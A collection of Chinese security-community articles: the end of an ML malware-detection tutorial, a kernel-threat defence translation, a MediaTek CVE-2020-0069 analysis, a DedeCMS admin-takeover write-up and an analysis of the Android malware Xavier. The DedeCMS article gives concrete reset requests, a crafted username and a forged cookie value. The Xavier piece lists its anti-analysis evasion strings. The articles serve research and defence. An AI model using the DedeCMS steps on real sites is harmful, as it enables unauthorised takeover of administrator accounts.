# now that we have a dictionary let's put it in a clean csv file
def vec2csv(dataset):
df = pd.DataFrame(dataset)
infected = df.transpose() # transpose to have the features as columns and samples as rows
# utf-8 is prefered
infected.to_csv('dataset.csv', sep=',', encoding='utf-8')
接下来我们准备处理这些数据。
**（二）探索数据**
这不是必要步骤，但可以让你对这些数据有直观上的理解。
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
malicious = pd.read_csv("bucket-set.csv")
clean = pd.read_csv("clean-set.csv")
print "Clean Files Statistics"
clean.describe()
print "Malicious Files Statistics"
malicious.describe()
以下两个表格分别对应了正常程序和恶意文件的统计情况：
我们可以看到这两组数据集之间的差异，特别是前两个特征字段，差异更为明显。我们可以绘制一个图表，从直观上感受这些差异。
malicious['clean'] = 0
clean['clean'] = 1
import seaborn
%matplotlib inline
fig,ax = plt.subplots()
x = malicious['IATRVA']
y = malicious['clean']
ax.scatter(x,y,color='r',label='Malicious')
x1 = clean['IATRVA']
y1 = clean['clean']
ax.scatter(x1,y1,color='b',label='Cleanfiles')
ax.legend(loc="right")
图表如下：
从上图可知，恶意软件样本“聚类”程度较高，而正常文件样本稀疏分布在x轴上。接下来我们可以试着绘制其他特征的图表，以便全面了解这些样本数据。
分析“DebugRVA”特征：
%matplotlib inline
fig,ax = plt.subplots()
x = malicious['DebugRVA']
y = malicious['clean']
ax.scatter(x,y,color='r',label='Malicious')
x1 = clean['DebugRVA']
y1 = clean['clean']
ax.scatter(x1,y1,color='b',label='Cleanfiles')
ax.legend(loc="right")
绘制的图表如下;
分析“ExportSize”特征：
%matplotlib inline
fig,ax = plt.subplots()
x = malicious['ExportSize']
y = malicious['clean']
ax.scatter(x,y,color='r',label='Malicious')
x1 = clean['ExportSize']
y1 = clean['clean']
ax.scatter(x1,y1,color='b',label='Cleanfiles')
ax.legend(loc="right")
绘制的图表如下：
我们所绘制的图表越多，我们对数据的理解也越深，对数据的整体分布情况了解也越深。目前我们手上的数据集维度很低，那么问题来了，如果我们的数据集是高维度的，我们该如何处理？有很多技术可以降低数据集的维度，使“重要”特征更为突出。比如PCA和t-SNE算法可以将数据集绘制成三维甚至二维图像。
**五、机器学习在恶意软件检测中的应用**
前面我们已经做了足够多的统计工作，但在机器学习方面我们只做了一部分工作，如收集数据、清理及准备训练数据。在开始机器学习前，我们先要完成以下工作。
1、首先，我们需要将两部分数据集（Dataset）并为一个数据框（DataFrame）。
2、其次，我们需要数据框分为两部分，第一部分用于训练，第二部分用于测试。
3、接下来，我们将使用几个机器学习算法，看一下结果如何。
**（一）数据集准备**
import pandas as pd
dataset = pd.read_csv('malware-dataset.csv')
"""
Add this points dataset holds our data
Great let's split it into train/test and fix a random seed to keep our predictions constant
"""
import numpy as np
from sklearn.model_selection import train_test_split
from sklearn.metrics import confusion_matrix
#let's import 4 algorithms we would like to test
#neural networks
from sklearn.preprocessing import StandardScaler
from sklearn.neural_network import MLPClassifier
#random forests
from sklearn.ensemble import RandomForestClassifier
"""
Let's prepare our data
"""
state = np.random.randint(100)
X = dataset.drop('clean',axis = 1)
y = dataset['clean']
X = np.asarray(X)
y = np.asarray(y)
X = X[:,1:]
X_train,X_test,y_train,y_test = train_test_split(X,y,test_size = 0.1,random_state=0)
现在我们手上有了4个大型矩阵，其中X_train和y_train将用于训练不同的分类器，X_test用于标签预测，y_test用于指标衡量。事实上，我们将比较X_test和y_test的预测值，以便分析算法的具体实现。
**（二）算法选择**
首先来看看“Random Forests”（随机森林）算法，该算法是“决策树”（Decision
Trees）算法的一种集成算法，核心思想是在训练期间内创建大量分类决策树，输出的分类即为样本分类的基础模型。随机森林算法在解决二进制文件分类问题上非常有效。
#let's start with random forests
#we initiate the classifier
clf1 = RandomForestClassifier()
#training
clf1.fit(X_train,y_train)
#prediction labels for X_test
y_pred=clf1.predict(X_test)
#metrics evaluation
"""
tn = True Negative a correct prediction clean predicted as clean
fp = False Positive a false alarm clean predicted as malicious
tp = True Positive a correct prediction (malicious)
fn = False Negative a malicious label predicted as clean
"""
tn, fp, fn, tp = confusion_matrix(y_test, y_pred).ravel()
print "TN = ",tn
print "TP = ",tp
print "FP = ",fp
print "FN = ",fn
程序输出为：
TN = 697
TP = 745
FP = 6
FN = 4
根据处理结果，在没有进行参数微调和修改的情况下，我们只有6个假阳性和4个假阴性误判，这个结果相当不错。我们可以正确判断697个正常文件以及745个恶意软件，从结果上来看，我们的小型反病毒引擎效果还可以。
接下来我们试一下另一个分类器，我们建立一个简单的神经网络，看看它对随机分割的处理效果如何。
根据维基百科的词条解释：
多层感知器（multilayer
perceptron，MLP）是一种前馈人工神经网络模型，它将输入数据集映射为一组适当的输出集。MLP由有向图中的多层节点组成，每层节点都与下一层节点完全相连。除了输入节点之外，每个节点都是具有非线性激活功能的神经元（或处理单元）。MLP使用了反向传播（back
propagation）这种监督学习技术（supervised learning
technique）来训练神经网络。MLP是标准线性感知器的修改版，可以用来区分不能线性分离的那些数据。
从上述定义我们可知，MLP是感知器的一种广义形式，也是深度学习方法的基本模型之一，可以用于处理广度和深度网络。
#our usual split
X_train,X_test,y_train,y_test = train_test_split(X,y,test_size = 0.3,random_state=0)
#This is a special process called feature engineering where we transform our data into the same scale for better predictions
scaler = StandardScaler()
scaler.fit(X_train)
X_train = scaler.transform(X_train)
X_test = scaler.transform(X_test)
#Here we build a Multi Layer Perceptron of 12 Layers for 12 Features you can use more if you want but it will turn into a complex zoo
mlp = MLPClassifier(hidden_layer_sizes=(12,12,12,12,12,12))
#Training the MLP on our data
mlp.fit(X_train,y_train)
predictions = mlp.predict(X_test)
#evaluating our classifier
tn, fp, fn, tp = confusion_matrix(y_test,predictions).ravel()
print "TN = ",tn
print "TP = ",tp
print "FP = ",fp
print "FN = ",fn
程序输出为：
TN = 695
TP = 731
FP = 8
FN = 18
看上去强大的神经网络并不能够识别样本数据集中的18个恶意软件（假阴性），这是个很严重的问题，试想一下如果你的杀毒软件将勒索软件误判为正常程序，会对你造成什么影响？但不用过于悲观，因为我们这个神经网络还是非常原始的，实际上我们可以让它更为准确，但这已经超出了本文的讨论范畴。
**六、总结**
本文只是一篇入门文章，我想向读者表达的是，如果我们能够接受99%的识别率，那么恶意软件鉴别并不是一个难以解决的问题。当然，现实生活中，构建和部署机器学习是一件费时费事的工作，需要大量知识和大量数据。本文仅仅是机器学习和人工智能（AI）如何应用于恶意软件识别的一篇简单文章，希望能给读者提供学习知识的乐趣。
**七、参考资料**
1、Andrew NG的机器学习课程。
2、<https://fast.ai> 。你可以使用Python在7周内变成一个深度学习的实践者。
3、Harstie写的《统计学习要素》这本书。偏向于理论但内容非常深刻。
4、<http://2012.infosecsouthwest.com/files/speaker_materials/ISSW2012_Selecting_Features_to_Classify_Malware.pdf>
。比较有深度的一份文献资料。 | 社区文章 |
# 内核模式威胁的最新技术与防御方式（第三部分）
|
##### 译文声明
本文是翻译文章，文章来源：endgame.com
原文地址：<https://www.endgame.com/blog/technical-blog/kernel-mode-threats-practical-defenses-part-2>
译文仅供参考，具体内容表达以及含义原文为准。
## 传送门
内核模式威胁的最新技术与防御方式（第一部分）
<https://www.anquanke.com/post/id/160412>
内核模式威胁的最新技术与防御方式（第二部分）
<https://www.anquanke.com/post/id/160697>
## 防御内核模式威胁
首先，要防御内核模式威胁，就要确保驱动程序的安全。目前，有很多可以使用的安全工具，包括SysInternals Sysmon和审计模式下的Windows
Defender Application Control。管理员应该重点关注存在已知漏洞利用方式的驱动程序或不常见的驱动程序。
如果可以，最好能建立起一个基线。众所周知，在开始寻找攻击者之前，首先需要对公司的资产和基础设施有全面的了解。这一点，同样适用于内核模块。
如果可以，我们建议管理员应该部署程序代码完整性策略（HVCI），从而将大多数已知存在漏洞的驱动程序拒之门外。从Windows 10 Redstone
5开始，如果启用HVCI，Windows将会默认阻止许多存在漏洞的驱动程序。HVCI这一机制对于特定用户群体来说非常有用，但却不能帮助使用早期版本Windows的用户，以及使用Redstone
5版本但无法启用HVCI的用户。
### 开源防御：内核攻击面减少（KASR）
为了帮助减轻内核模式威胁带来的风险，我们发布了KASR（ <https://www.endgame.com/tools>
），这是一个免费的工具，可以阻止已知存在漏洞的驱动程序。
KASR能够对一般水平的攻击者增加障碍，但我们也知道，KASR的黑名单不会扩展。
因此，这一工具无法阻止能够在内核驱动程序中查找并利用漏洞的攻击者，只能防范脚本小子进行的漏洞利用。Microsoft正在确定RS5的驱动程序黑名单，在他们完成这项工作后，我们也会将其纳入KASR的未来版本中。
### 内核搜索
回顾我们红蓝对抗的过程，其实是需要一种更好的方式，来寻找例如DoublePulsar或者无文件植入物这样的内核模式威胁。
传统的取证技术，往往由完整内存采集和离线分析组成，而这样的取证方式不适用于我们所说的这几种威胁。为了解决这个问题，我们没有获取内存，而是直接在终端上进行分析，类似于“Blackbox”
Rootkit扫描器的工作原理。这也就意味着，我们可以在几毫秒内完成扫描。
有几种技术可用来读取Windows主机的物理内存，包括PhysicalMemory设备和基于MDL的API。其中，我们最喜欢的技术是页表项重映射（Page
Table Entry Remapping，如上所示， <http://www.academia.edu/12257508/Anti-forensic_resilient_memory_acquisition> ），因为该技术操作简单，并且具有良好的性能。
要实现的目标是常规化地检测未经签名的DoublePulsar。可以通过扫描内核池/堆内存，寻找类似于Shellcode的内存Blob来实现。不幸的是，在Windows
7上，整个NonPagedPool都是可执行的，这样一来搜索的范围就变得巨大，留下了相当大的搜索空间，似乎更加容易出现误报的情况。相反，如果专注于识别函数指针的挂钩，可能是一种更为有效的方式。
在这里，第一个问题是如何确定内存中函数指针的位置。由于函数指针是绝对地址，所以如果要重新定位映像，就也需要对函数指针进行重新定位。为了找到函数指针，需要遍历所有已加载驱动程序的PE重定位表。随后，检查重定位的值是否指向原始磁盘副本中驱动程序的可执行部分。
接下来，检查它是否不包含在内存中加载的驱动程序之内。最后，如果它指向的内存区域是可执行的，就可以视为命中。通过这种技术，能够有效检测到我们此前在内核模式植入安装的DoublePulsar和套接字处理程序挂钩。
随即，我们发布了Marta（ <https://www.endgame.com/tools>
），该工具以上述技术为原理，扫描系统上的所有驱动程序（通常扫描时间以毫秒为单位），并识别出任何活动的感染情况。Marta
Burgay是第一位发现双脉冲星的天文学家，因此我们将这一免费工具命名为Marta。在下面的演示中可以看到，Marta能很快识别出DoublePulsar感染。
## 实时保护
能做到按需扫描，已经是一个非常棒的成果了。但进无止境，我们还想看看能不能针对这种类型的攻击做到实时捕获。Endgame团队在开发HA-CFI产品之后，已经非常熟悉大多数现代CPU上的性能监控单元（Performance Monitoring Unit，PMU，
<https://www.blackhat.com/docs/us-16/materials/us-16-Pierce-Capturing-0days-With-PERFectly-Placed-Hardware-Traps.pdf> ）。
PMU是CPU上的一个组件，我们对其进行编程，以计算出每个内核上发生特定低级别事件的次数。在这种情况下，我们使用间接转移预测技术（Indirect Near
Call Branch Misprediction）。
当其中一个事件发生时，PMU会产生一个中断，并执行我们的中断服务程序。在这个例程中，我们能够对其进行验证并实施这一策略。这一视频展示了我们在系统被感染时，就能够检测到DoublePulsar的实时方法：
<https://youtu.be/30k4Ap6oWnM> 。
为了检测不支持的代码执行，我们保留一个与加载的驱动程序相对应的内存范围列表，并验证指令指针是否在该范围之内。然而，我们的概念证明存在一些缺点，具体如下：
1. PatchGuard本身使用了未受支持的页，试图以此对抗逆向工程。尽管捕获到PatchGuard很有趣，但我们需要用一种可靠的方式来尽量避免此类误报。但由于PatchGuard没有文档并且随时可能发生变化，这一点很难实现。
2. 内核代码具有对PMU进行编程的能力。如果攻击者清楚这一点，那么他完全可以对PMU进行重新编程，或禁用中断。
3. 与所有内核驱动程序一样，这种检测驱动程序容易受到数据攻击，例如IAT修复或对策略结构进行攻击。
正如我们在前文所提到的，目前还没有针对ROP（Rear Flow
CFG）的内核保护机制。Microsoft要想制定有效的ROP防御计划，还需要Intel控制流强制技术（Intel Control-flow
Enforcement Technology，CET）的支持。尽管这一技术可能非常有效，但到目前为止，CET还没有在任何生产的处理器中实现过。
为了缓解这一问题，我们提出了一种基于PMU的保护系统，可以检测Rear Flow控制流的策略违规。通过配置CPU最后一个分支记录（Last Branch
Recorded，LBR）机制，可以将内核中的每个返回内容记录到循环的缓冲区中。
我们可以通过扫描所有加载的驱动程序并识别调用指令，来生成控制流策略。这些调用指令之后立即就是相应的返回站点。我们的策略就是列出这些有效返回站点的位图。在系统启动时会生成这一策略，在加载新驱动程序时会对该策略进行更新。
如果为每个返回指令都产生中断，其代价太高。相反，我们利用ROP产生大量分支误预测的实时，将PMU编程为只针对误预测的分支生成中断。当中断触发时，会验证LBR中记录的每个返回地址。
如果其中有任何一个不在上述策略中（也就是先前没有调用过），我们就认为这一控制流是违规的。这个系统虽然有效，但如果没有正确对其进行调整，会产生过多的中断，从而对系统性能造成严重影响。
如演示中所示，经过适当的调整，我们看到JetStream浏览器基准性能测试得分大概减少了1%，但该系统的检测率仍维持在100%。我们最终的系统能准确检测出内核模式ROP。
演示视频：<https://youtu.be/hlakLdY2Xo8>
## 总结
在过去十年中，Windows平台的安全性已经得到了很大的改进，但内核模式威胁仍然是一个大问题。要充分利用Microsoft的最新防御机制，就必须要将系统升级到最新的Windows
10，并且要启用尽可能多的保护，例如Secure Boot、VBS、HVCI等。从内核模式攻击者的角度来看，基于虚拟化的安全性（VBS）是他们最大的痛点。
但是，这一机制存在许多兼容性问题。安全人员可以收集终端加载的驱动程序，并利用此数据来发现正在加载的异常驱动程序，或易受攻击的驱动程序。最后，还可以借助工具，搜索并检测已经存在于网络之中的内核模式恶意软件。
要防御内核模式威胁，需要我们付出巨大的努力，希望我们的这两部分文章和两个开源工具能有助于提高大家对内核模式威胁的认识，并在这些威胁发生时采取及时的防护措施。 | 社区文章 |
**作者：启明星辰ADLab**
**原文链接：<https://mp.weixin.qq.com/s/ohMZkfyS_B_HVg3Xm0THbQ>**
## 一、漏洞背景
2020年3月，谷歌修补了一个存在于联发科芯片中的安全漏洞（CVE-2020-0069），漏洞影响20余款联发科芯片和数百万Android设备。该漏洞存在于MediaTek
Command Queue驱动（CMDQ命令队列驱动），允许本地攻击者实现对物理内存地址的任意读写，从而导致权限提升。
## 二、受影响国产手机型号
* Huawei GR3 TAG-L21
* Huawei Y5II
* Huawei Y6II MT6735 series
* Lenovo A5
* Lenovo C2 series
* Lenovo Tab E7
* Lenovo Tab E8
* Lenovo Tab2 A10-70F
* Meizu M5c
* Meizu M6
* Meizu Pro 7 Plus
* Oppo A59 series
* Oppo A5s
* Oppo A7x -- up to Android 8.x
* Oppo F5 series/A73 -- up to A.39
* Oppo F7 series -- Android 8.x only
* Oppo F9 series -- Android 8.x only
* Oppo R9xm series
* Xiaomi Redmi 6/6A series
* ZTE Blade A530
* ZTE Blade D6/V6
* ZTE Quest 5 Z3351S
## 三、CMDQ驱动简析
DMA（直接内存访问）是允许专用硬件直接从主存储器(RAM)发送或接收数据的一种特性。其目的是通过允许大内存访问而不过多占用CPU来加速系统。MediaTek
Command Queue驱动(CMDQ命令队列驱动)允许从用户层与DMA控制器通信，以实现媒体或显示相关的任务。
基于Redmi 6/6A 源代码分析，在cmdq_driver.h头文件中，声明cmdq驱动的IOCTL调用如下：
* CMDQ_IOCTL_ALLOC_WRITE_ADDRESS指令为分配一个DMA缓冲区
* CMDQ_IOCTL_FREE_WRITE_ADDRESS指令为释放一个DMA缓冲区
* CMDQ_IOCTL_READ_WRITE_ADDRESS指令为读取一个DMA缓冲区中的数据
* CMDQ_IOCTL_EXEC_COMMAND指令运行发送其他命令
### 1、分配过程
通过CMDQ_IOCTL_ALLOC_WRITE_ADDRESS调用cmdqCoreAllocWriteAddress
()函数，分配一个DMA缓冲区，该函数关键代码实现如下：
然后，调用cmdq_core_alloc_hw_buffer()函数分配DMA缓冲区，pWriteAddr->va是虚拟地址，pWriteAddr->pa为物理地址，两者一一对应。并清理缓冲区。
最后，将物理地址赋值到paStart，并将pWriteAddr结构体添加到gCmdqContext.writeAddrList链表中。
### 2、执行命令过程
在CMDQ_IOCTL_EXEC_COMMAND调用中，采用cmdqCommandStruct结构体作为参数，结构体定义如下：
pVABase指向用户层存放命令的缓冲区，缓冲区大小放在blockSize中。其中cmdqReadAddressStruct结构体定义如下：
DmaAddresses是要读取的物理地址，读取的值存放在values中。在CMDQ_IOCTL_EXEC_COMMAND命令的执行过程，实现代码如下：
函数调用路径如下：
Cmdq_core_acquire_task()函数会将command绑定到task中执行。具体实现如下：
调用cmdq_core_find_free_task()函数获取一个空闲task。拿到空闲task并进行一些初始化设置，然后开始调用cmdq_core_insert_read_reg_command()函数执行命令。
该函数实现分析，先拷贝用户层传入的命令到DMA缓冲区中。
pCommandDesc->pVABase是存放命令的内存起始地址。拷贝完命令后，后面分几种方式结尾。
这里不做深究，最后拷贝EOC和JUMP指令结尾。这里也是将用户层传入的命令拷贝过来。
从cmdq_core_acquire_task()函数中返回后，如下：
调用cmdq_core_consume_waiting_list()函数执行task。先从等待队列中获取task。
然后，获取空闲内核线程。
最后，将task绑定到thread中去执行。
## 四、读写命令分析
以cmdq_test.c测试代码为例，分析理解一个完整的读写命令构造。cmdq驱动中定义了两类寄存器，一类是地址寄存器用于存放地址，一类是数值寄存器用于存放读取或写入的数值。
regResults是虚拟地址，调用cmdq_core_alloc_hw_buffer()函数分配一个dma地址，regResultsMVA与之对应，然后设置regResults中的数据。开始拼接读取和写入命令：
将regResults[0]的地址写入CMDQ_DATA_REG_DEBUG_DST类型的地址寄存器中。
然后，从CMDQ_DATA_REG_DEBUG_DST地址寄存器中读取数据并写入到CMDQ_DATA_REG_DEBUG数值寄存器中。这时候，CMDQ_DATA_REG_DEBUG数值寄存器中的值应该为0xdeaddead。
接着，将regResults[1]的地址转存到CMDQ_DATA_REG_DEBUG_DST地址寄存器中。
最后，将CMDQ_DATA_REG_DEBUG数值寄存器中的0xdeaddead写入到CMDQ_DATA_REG_DEBUG_DST地址寄存器中保存的regResults[1]的地址中。即regResults[1]=0xdeaddead。判断regResults[0]和regResults[1]是否相等。
如果相等，说明读写成功。
## 五、PoC分析与测试
（1）PoC代码中，执行写操作的关键代码如下：
写入过程中，先将value[count]移动到CMDQ_DATA_REG_DEBUG数值寄存器中，然后将pa_address+offset地址移动到CMDQ_DATA_REG_DEBUG_DST地址寄存器中，最后将CMDQ_DATA_REG_DEBUG数值寄存器中的value写入到CMDQ_DATA_REG_DEBUG_DST地址寄存器中保存的pa_address+offset地址中，即*(pa_address+offset)
= value[count]。
（2）PoC代码中，执行读操作的关键代码如下：
读取过程中，第一步先将pa_address+offset地址移动到CMDQ_DATA_REG_DEBUG_DST地址寄存器中，然后从CMDQ_DATA__REG_DEBUG_DST地址寄存器中存储的地址pa_address+offset中读取数据放到CMDQ_DATA_REG_DEBUG数据寄存器中，再将dma_address+offset地址移动到CMDQ_DATA_REG_DEBUG_DST地址寄存器中，最后将CMDQ_DATA_REG_DEBUG数值寄存器中保存的数据写入到CMDQ_DATA_REG_DEBUG_DST地址寄存器中存储的dma_address+offset地址中，即
_(dma_address + offset) =_ (pa_address + offset)。
（3）在Reami6测试机中，执行PoC测试，成功将Linux修改成minix。
## 六、参考链接
1. <https://github.com/MiCode/Xiaomi_Kernel_OpenSource/tree/cactus-p-oss/drivers/misc/mediatek/cmdq>
2. <https://github.com/quarkslab/CVE-2020-0069_poc/blob/master/jni/kernel_rw.c>
3. <https://blog.quarkslab.com/cve-2020-0069-autopsy-of-the-most-stable-mediatek-rootkit.html>
4. <https://forum.xda-developers.com/android/development/amazing-temp-root-mediatek-armv8-t3922213>
5. <https://source.android.com/security/bulletin/2020-03-01>
* * * | 社区文章 |
很早之前发现的漏洞，整体都比较有趣，分享出来一下
**漏洞危害**
dedecms开启会员中心注册功能，即可完成管理员密码重置
**漏洞成因**
利用两个漏洞即可完成管理员重置：
dedecms前台用户任意密码重置
dedecms前台任意用户登录
第一个漏洞就是最近爆出的dedecms前台漏洞，单一危害挺有限，此处不做分析
大家可以参考下[lemon](http://www.cnblogs.com/iamstudy/articles/dedecms_old_version_method.html
"lemon")的文章
上面文章能重置管理员密码是由于：
1、前台重置dede_member的admin密码
2、cookie绕过admin登录前台(默认是不能登录的)
3、通过前台功能修改dede_admin中的admin密码
lemon文章是利用老版本注入获取cookie加密key 直接伪造一个管理员的cookie
下面分析下如何完成前台任意用户登陆
判断用户登陆与否的isLogin函数
/**
* 验证用户是否已经登录
*
* @return bool
*/
function IsLogin()
{
if($this->M_ID > 0) return TRUE;
else return FALSE;
}
看下M_ID来自哪里
class MemberLogin
{
var $M_ID;
var $M_LoginID;
var $M_MbType;
var $M_Money;
var $M_Scores;
var $M_UserName;
var $M_Rank;
var $M_Face;
var $M_LoginTime;
var $M_KeepTime;
var $M_Spacesta;
var $fields;
var $isAdmin;
var $M_UpTime;
var $M_ExpTime;
var $M_HasDay;
var $M_JoinTime;
var $M_Honor = '';
var $memberCache='memberlogin';
//php5构造函数
function __construct($kptime = -1, $cache=FALSE)
{
global $dsql;
if($kptime==-1){
$this->M_KeepTime = 3600 * 24 * 7;
}else{
$this->M_KeepTime = $kptime;
}
$formcache = FALSE;
$this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
看下GetNum
/**
* 获取整数值
*
* @access public
* @param string $fnum 处理的数值
* @return string
*/
function GetNum($fnum){
$fnum = preg_replace("/[^0-9\.]/", '', $fnum);
return $fnum;
}
剔除参数中的非数字型字符 后面需要用到
看下GetCookie函数
/**
* 获取Cookie记录
*
* @param $key 键名
* @return string
*/
if ( ! function_exists('GetCookie'))
{
function GetCookie($key)
{
global $cfg_cookie_encode;
if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
{
return '';
}
else
{
if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
{
return '';
}
else
{
return $_COOKIE[$key];
}
}
}
}
DedeUserID与DedeUserID__ckMd5 需满足如下关系
$_COOKIE[$key.'__ckMd5'] == substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16)
admin对应的DedeUserID应为1
如何找出对应的DedeUserID__ckMd5才是关键
对该程序其他使用了PutCookie的地方进行查找，找寻可以伪造出1 的cookie密文
/member/index.php
/*----------------------------- //会员空间主页
function space_index(){ }
------------------------------*/
else
{
require_once(DEDEMEMBER.'/inc/config_space.php');
if($action == '')
{
include_once(DEDEINC."/channelunit.func.php");
$dpl = new DedeTemplate();
$tplfile = DEDEMEMBER."/space/{$_vars['spacestyle']}/index.htm";
//更新最近访客记录及站点统计记录
$vtime = time();
$last_vtime = GetCookie('last_vtime');
$last_vid = GetCookie('last_vid');
if(empty($last_vtime))
{
$last_vtime = 0;
}
if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.',') )
{
if($last_vid!='')
{
$last_vids = explode(',',$last_vid);
$i = 0;
$last_vid = $uid;
foreach($last_vids as $lsid)
{
if($i>10)
{
break;
}
else if($lsid != $uid)
{
$i++;
$last_vid .= ','.$last_vid;
}
}
}
else
{
$last_vid = $uid;
}
PutCookie('last_vtime', $vtime, 3600*24, '/');
PutCookie('last_vid', $last_vid, 3600*24, '/');
cookie中last_vid为空下
$last_vid = $uid;
然后PutCookie('last_vid', $last_vid, 3600*24, '/');
只要能构造$uid的值即能获取想要的cookie 1对应的密文
**利用方法**
1.前台管理员密码重置
member/resetpassword.php
post：dopost=safequestion&gourl=&id=1&safequestion=0.0
/member/resetpassword.php?dopost=getpasswd&id=1&;key=w0AKS9eI
两步重置前台管理员密码
2.前台管理员登陆
由于dede用户注册有字符长度限制 而uid即为注册的用户名 再利用Getnum函数的剔除非数字型字符的功能 于是注册1aaaa用户
dede默认安装注册需要邮箱验证 后台人工更改为无需验证
前台访问member/index.php?uid=1aaaa
1aaaa对应的ckMD5为73c6ca2cadef68f9
3.前台用户密码修改
前台密码修改连带修改后台密码
$query1 = "UPDATE `#@__member` SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' ";
$dsql->ExecuteNoneQuery($query1);
//如果是管理员，修改其后台密码
if($cfg_ml->fields['matt']==10 && $pwd2!="")
{
$query2 = "UPDATE `#@__admin` SET pwd='$pwd2' where id='".$cfg_ml->M_ID."' ";
$dsql->ExecuteNoneQuery($query2);
}
重置密码之后即可用重置后的密码登陆dede后台 | 社区文章 |
# 【技术分享】安卓新型恶意木马Xavier的发展过程和技术分析
|
##### 译文声明
本文是翻译文章，文章来源：blog.trendmicro.com
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-xavier-information-stealing-ad-library-android/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=749283137)
预估稿费：160RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
近日，一个名为Xavier的安卓系统广告库木马被发现，它会在用户不知情的情况下窃取和泄露用户的信息，同时还可以在root过的安卓设备上静默安装任何APK。
据统计，目前已有超过800个嵌入该广告库的应用程序，这些应用程序已经被用户下载数百次。下载量最大的是越南、菲律宾、印度尼西亚这些东南亚国家，美国和欧洲的下载量则相对较小。
与其他广告库木马不同的是，它将从远程服务器下载代码并加载执行的恶意行为嵌入到自身，同时使用数据加密和仿真程序检测等方法来保护自己不被查杀。
由于该木马具备一种能逃避静态和动态分析的自我保护机制，所以它的窃密行为很难被监测到。此外，Xavier还可以下载并执行其它恶意代码，这一点意味着它具有更大的风险。Xavier的具体行为取决于下载的代码和代码中的网址，可被指定服务器远程设置。
**木马发展过程**
该木马的发展变化过程如下图：
Xavier是AdDown木马家族的一员，该系列木马已经在互联网中存在超过两年。其第一个版本称为joymobile，于2015年年初被发现。此变体已经可以执行远程代码。
除了收集和泄露用户信息之外，这一木马还能悄无声息地在已经root过的安卓设备中安装其他APK。
该木马会以明文形式与命令和控制（C&C）服务器进行通信，但所有的常量字符串都在代码中被加密过。
AdDown家族出现的第二个变种叫 _nativemob_ 。与 _joymobile_ _相比，_
我们可以发现nativemob的代码结构进行了调整和优化。同时，nativemob还增加了一些新的功能，主要是行为控制和实用工具。虽然这一变种没有使用静默方式安装应用，但提示用户确认的应用安装行为仍然存在。
在将数据发送到C&C服务器之前，它收集了比joymobile更多的用户信息，并使用base64的方式对这些信息进行了编码。
接下来的一个变种版本出现在2016年1月，这一变种调整了字符串加密算法，对从远程服务器下载的代码进行加密，同时还添加了一些反射调用。
16年2月，它对设置模块做了若干更新，由于某种原因又移除了数据加密的部分。
在接下来的几个月中进行了进一步更新，然而这些更新都没有太大的变动。
**Xavier的技术分析**
2016年9月，被称为Xavier的新变种被发现。该变种与此前版本相比，具有更精简的代码。Xavier删除了apk安装和root检查，同时增加了数据加密的茶叶算法（TEA
algorithm）。
很快，Xavier的更新版本增加了一种可以逃脱动态检测的机制。
Xavier的结构如下：
一旦它被加载，Xavier将从C&C服务器 _https[:]//api-restlet[_ _.]com/services/v5/_
中获取经加密后的初始配置。
服务器同样会对响应数据进行加密：
在解密后，我们可以发现其实是一个Json文件：
V代表SDK版本；
L代表SDK地址；
G代表SDK标识号；
S代表SDK设置；
Au与其配置有关。
Xavier随后会根据其配置文件，从http[:]//cloud[.]api-restlet[.]com/modules/lib[.]zip下载所谓的SDK文件。然而我们发现，lib.zip并非一个完整的zip文件。
在获取到lib.zip后，Xavier将“0x50
0x4B”添加在lib.zip的最前，并将其改名为xavier.zip。此时的文件就变成了完整的zip文件。
**修改前的lib.zip**
**修改后的xavier.zip**
Xavier.zip包含一个可供Xavier加载和调用的classes.dex文件。
这一dex文件会从用户的设备中收集一些信息, 并加密并传输到远程服务器 https[:]//api-restlet[.]com/services/v5/rD中，收集信息内容如下：
制造商，来源，SIM卡所属国家，产品名称，生产商ID，SIM卡运营商，服务ID，系统语言，分辨率，型号，操作系统版本，设备名称，设备ID，已安装的APP，安卓ID，邮箱地址。
[](http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/06/xavier19.jpg)
Xavier还会通过检测系统中运行的进程，使其攻击行为具有隐蔽性，从而逃脱动态检测。
它检查设备的产品名称、制造商、设备品牌、设备名称、设备模块、硬件名称或指纹是否包含以下字符串：
vbox86p，Genymotion，generic/google_sdk/generic，generic_x86/sdk_x86/generic_x86，com.google.market，Droid4X，generic_x86，ttVM_Hdragon，generic/sdk/generic，google_sdk，generic，vbox86，ttVM_x86，MIT，Andy，window，unknown，goldfish，sdk_x86，generic_x86_64，phone，TTVM，sdk_google，Android
SDK built for x86，sdk，Android SDK built for
x86_64，direct，com.google，XavierMobile，TiantianVM，android_id，generic/vbox86p/vbox86p，com.google.vending，nox
Xavier还通过扫描用户的邮件地址来隐藏其行为，会检查用户的电子邮件地址是否包含下列字符串：
pltest，@facebook.com，tester，@google.com，review，playlead，agotschin，gptest，rxwave
15，rxplay，admob，gplay，adsense，gtwave，rxtest，wear.review，qaplay，test，rxtester，playtestwave
[](http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/06/xavier20.jpg)
为了进一步避免被发现，Xavier具有如下行为：
1) 对所有常量字符串进行加密，使静态检测和手动分析更加困难。
[](http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/06/xavier21.jpg)
2) 通过https进行网络数据传输, 防止其通信被捕获，同时对数据也进行加密。
[](http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/06/xavier22.jpg)
3)使用大量的反射调用方法, 对类名和方法名进行加密。
[](http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/06/xavier23.jpg)
4)根据运行环境，隐藏其行为。
这是Google Play中一个被嵌入了Xavier广告库木马的应用程序：
[](http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/06/xavier25.jpg)
**
**
**防范建议
**
避免像Xavier这样的恶意软件，最简单的方法是：不下载任何来源不明的APP，包括在诸如Google Play这样正规的应用商城中的APP。
